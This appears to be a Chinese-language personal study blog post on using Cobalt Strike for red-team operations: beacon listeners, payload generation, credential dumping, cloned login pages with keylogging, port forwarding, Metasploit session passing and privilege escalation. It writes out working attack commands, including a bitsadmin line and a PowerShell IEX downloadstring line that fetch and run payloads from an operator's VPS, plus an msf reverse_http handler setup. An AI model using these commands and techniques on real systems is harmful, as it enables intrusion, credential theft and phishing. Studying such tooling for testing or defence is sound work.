cobestrike学习笔记
0x01 上线
1、设置listener

2、生成poyload,此处使用powershell命令上线

3、选择设置好的listener,选择powershell command

4、在命令行中输入生成的payload.txt命令


5、上线

6、设置监听时间为1s,此处为你在cs执行操作,目标响应的时间
在上线机器右键-->session-->sleep,修改60s为1s,在客户端机器抓包可以看到1s回连一次

7、在客户端安装科来流量分析,发现一直在http get请求 /activity

浏览器直接访问 cs服务器/activity,可以直接下载文件,此方法可以用来判断cs服务器,测试版本为cs4.3

同时cs服务器也会有被请求文件的显示

8、修改为60s,此时每分钟回连一次cs服务器,如果执行了命令,也是1分钟之后发回服务端,此处执行shell tasklist测试

发现除了每分钟发到服务段确认存活的包,还多了一个5K的数据包

确认存活数据包内容如下,返回包经过加密,访问的是/activity

执行shell tasklist的数据包如下,请求包经过加密,请求地址为POST /submit.php?id=1018569144,经测试,之后执行其他命令,返回服务端的数据也都是通过POST /submit.php?id=1018569144


0x02 https becan 和http becan一样利用get请求确认存活,利用post请求回传数据


DNS Beacon 需要域名解析dnstxt 客户端机器netstat看不到80端口通信,需要输入check in激活会话
SMB Beacon 内网横向 需要客户端和cs服务器都开启445 需要link到已存在的会话
TCP Beacon 内网横向 需要link到已存在的会话
Foreign Listeners持对外监听器
要传递一个
Windows HTTPS Meterpreter 会话到一个使用 msfconsole 的朋友那里,建立一个 Foreign HTTPS
payload 并将主机和端口的值指向它们的 handler
条件:
cs已经有会话上线,cs为公网vps,msf为公网vps,设置foreign listener地址为msf地址,打开msf监听模块,等待上线
0x03凭据
在上线主机右键-->Access-->Dump Hashes

直接点击凭据图标查看

0x0 4Windows Executable(Windows 可执行文件)
选择Attacks-->pPackages-->Windwos Executeable,生成可执行文件。普通的 EXE 和服务器启动调用的 EXE 是有区别是。利用 Windows Service
EXE 生成的 EXE 才能用来作为服务自启动的 EXE,利用 Cobalt Strike 中 Windows exe 生成的
EXE 不能作为服务自启动的 EXE 程序(因为不能响应Service Control Manager)


0x05 Windows Executable(s)
该程序包直接导出 Beacon(也就是 payload stage),这个 Beacon 是作者写好的32或64位 DLL,是
一个不使用 stager 的可执行文件,直接和监听器连接、传输数据和命令。一个不使用 stager 的
payload Artifact被称为无阶段的 Artifact。这个程序包也有 PowerShell 选项来导出 Beacon 作为一个
PowerShell 脚本,或 raw 选项导出与位置无关的 beacon 代码。
payload 通常被分为两部分:
payload stage 和 payload stager。stager 是一个小程序,通常是手工优化的汇编指令,用于下载一个
payload stage、把它注入内存,然后对其传达执行命令。这个过程被称为 staging(分阶段)。
staging(分阶段)过程在一些攻击行动中是必要的。很多攻击中对于能加载进内存并在成功漏洞利用
后执行的数据大小存在严格限制。这会极大地限制你的后渗透选择,除非你分阶段传送你的后渗透
payload。
直接生成beacon.exe,双击上线。感觉没区别,Windows Executable(s)和Windows Executable相比感觉就是少了stage 分阶段功能,影响不大?

0x06 Web Drive-by 攻击
Attacks-->Web Driver-by
有各种攻击选项

- Signed Applet Attack(没用过)
这个攻击会启动一个 web 服务器来托管一个自签名的 Java applet。访客被要求给这个 applet 权限来运
行。当一个访客准许了这个权限,你就获取了到他们系统的权限。
Java 签名的 Applet 攻击使用 Cobalt Strike 的 Java 注入器。在 Windows 上,Java 注入器会对一个
Windows 监听器直接往内存注入 shellcode。
为了从这次攻击中获取最大收益,你需要从 Cobalt Strike 的武器库中下载此 Applet 套件并使用代码签
名证书对其进行签名。 - Smart Applet Attack (不懂)
java 沙盒 - Host File
当文件服务器 类似于python http server - Scripted Web Delivery (S)
选项包括:bitsadmin,powershell 和 python。

1、bitsadmin 选项托管一个可执行文件并使用 bitsadmin 来下载它。bitsadmin 方法通过 cmd.exe 来运
行此可执行文件
cmd.exe /c bitsadmin /transfer 2e14 http://你的vps/a %APPDATA%\2e14.exe&%APPDATA%\2e14.exe&del %APPDATA%\2e14.exe

直接上线

2、在cs服务器上生成比如powershell命令等,配合downloadstring实现无文件落地上线
powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://你的vps:80/a'))"
- Clone Site
Attack-->Web Driver-by-->Clone Site


访问生成的连接查看效果,挺好

输入登录用户名字密码后自动跳转到你设定的正常页面

此时键盘记录记录到了信息,View-->Web Log

Attack-->Web Driver-by-->system profiler

可以在view-->Applications查看 感觉也没收集到啥

0x07钓鱼服务(没用过)
Attacks-->Spear phish

0x08 Artifact免杀(shellcode 免杀)
- 传统的反病毒产品使用签名来识别已知的恶意程序。如果我们把一些被标记的恶意 shellcode 注入一个
可执行文件,那么反病毒产品会识别 shellcode 并把此可执行文件标为恶意。
为了打败这种检测,攻击者通常会以某种方式混淆 shellcode 并将其放入二进制文件中。这种混淆过程
会打败使用简单的字符串搜索来识别恶意代码的反病毒产品
很多反病毒产品会进行更严苛的检测。这些反病毒产品模拟一个可执行程序在一个虚拟沙盒中的执行。 - 在执行的每个模拟步骤中,这个反病毒产品会检测在模拟的进程空间中的已知的恶意部分。如果已知的
恶意部分出现,反病毒产品会把这个可执行文件或 DLL 标记为恶意的。这项技术打败了许多编码器和程
序包,它们试图去从基于签名的反 AV 产品中隐藏已知的恶意部分。 - Cobalt Strike 对此的应对策略是很简单的。这个反病毒沙盒有一些限制。这不是完整的虚拟机。有一些
反病毒沙盒不会模拟的系统行为。这个 Artifact 工件集是一些可执行文件和 DLL 模板的集合,这些可执
行文件和 DLL 模板依赖于一些反病毒产品不会模拟来还原二进制中的 shellcode 的行为。
0x09 进入beacon
在上线主机右键-->interact 进入beacon

0x10 beacon菜单
- 主机右键-->Access
子菜单包含对凭据的操作和提权在内的一些选项

- 主机右键-->Explore
子菜单包含信息探测和与目标系统交互的一些选项

- 主机右键--> Pivoting
子菜单你可以通过一个 Beacon 来配置工具来搭建流量隧道,没用过,貌似是内网sock,可以在View-Proxy Pivots查看

0x11 portscan命令和rportfwd命令
1、在beacon中使用portscan扫描端口,发现内网机器3389开启
portscan 192.168.52.143

2、使用rportfwd命令将内网机器的3389端口转发到上线主机的389端口
rportfwd 389 192.168.54.143 3389

上线主机确实开启了389

测试发现转发成功但是无法连接,可能隧道不稳定

可以在View-->Proxy Pivots查看端口转发情况

stop端口转发再远程连接389端口可以看到区别

0x12 Beacon中的命令是异步交互的
- Beacon 是一个异步的 payload。命令不会立即执行。每个命令都会先进入队列。当 Beacon
连接到你的时候。它会下载这些命令并挨个执行它们。此时,Beacon 会将所有的输出报告给你。如果
输入有误,使用 clear 命令来清理当前 Beacon 的命令队列。 - 默认情况下,Beacon 每60秒连接到你一次。你可以使用 Beacon 的 sleep 命令修改这个时间设置。
使用 sleep 接着一个秒数来指定 Beacon 连接到你的频率。你也可以指定第二个参数,这个参数必须
是一个0到99之间的数字。这个数字就是抖动因子。Beacon 会根据你指定的抖动因子的百分比随机变
化下次连接到你的时间。比如, sleep 300 20 这条命令,会使得 Beacon 睡眠 300秒,另外有 20%
的抖动因子。这意味着 Beacon 在每次连接到你之后会随机睡眠 240 - 300秒 - 要使得 Beacon 每秒都多次连接到你,使用 sleep 0 命令
0x13 Beacon命令
- shell(就用过这个)
- run
- powershell
- psinject
- powershell-import
- execute-assembly
0x14 cs spawn会话传递、cs使用foreign listener(外置监听器)与msf联动
1、msf设置监听
use exploit/multi/handler
set payload windows/meterpreter/reverse_http
set lhost 你的msf vps
set lport 6666

2、cs设置 foreign监听器,地址和端口为msf的

3、在已经上线的会话右键spawn,选择创建好的foreign监听器

msf的meterpreter成功上线

此处注意,vps安装好msf之后需要新建一个msf用户来之后所有的启动msf,否则msf会失效,因为msf数据库默认不让root连接,这里一开始我失败原因就是用root启动msf
0x15 文件上传下载
上线机器-->右键 Explore-->FileBrowser
可以上传、下载、执行文件

在View-->Downloads查看下载的文件

0x16 键盘记录和屏幕截图
找到浏览器进程
在beacon输入 keylogger 浏览器pid x86
在View-Keystrokes查看键盘记录
在View → Screenshots查看截屏
0x17 查看beacon中正在进行的任务
jobs

0x18 进程列表
上线主机-->右键-->Explore-->Process List

进程浏览器中可以使用键盘记录和屏幕截图,注入到某个进程,比如chrome 比较方便
0x19 elevate 提权
上线主机右键-->Access-->Elevate

cs4.3默认有两种提权,svc-exe 和uac-token-duplication,提权时需要选择listener

尝试使用svc-exe,这里使用uac-token-duplication提权失败
svc-exe提权到system成功,可以看到又上线一台system权限的会话

cs默认只有两种提权,我们可以自己添加提权脚本
下载提权cna脚本https://github.com/rsmudge/ElevateKit,放到cs文件夹下
Cobestrike-->Script Manager-->load

选择下载好的cna文件
此时再右键上线主机-->Access-->elevate,发现多了很多提权脚本,有的只能给win10用,有的只能x86,要看实际情况


浙公网安备 33010602011771号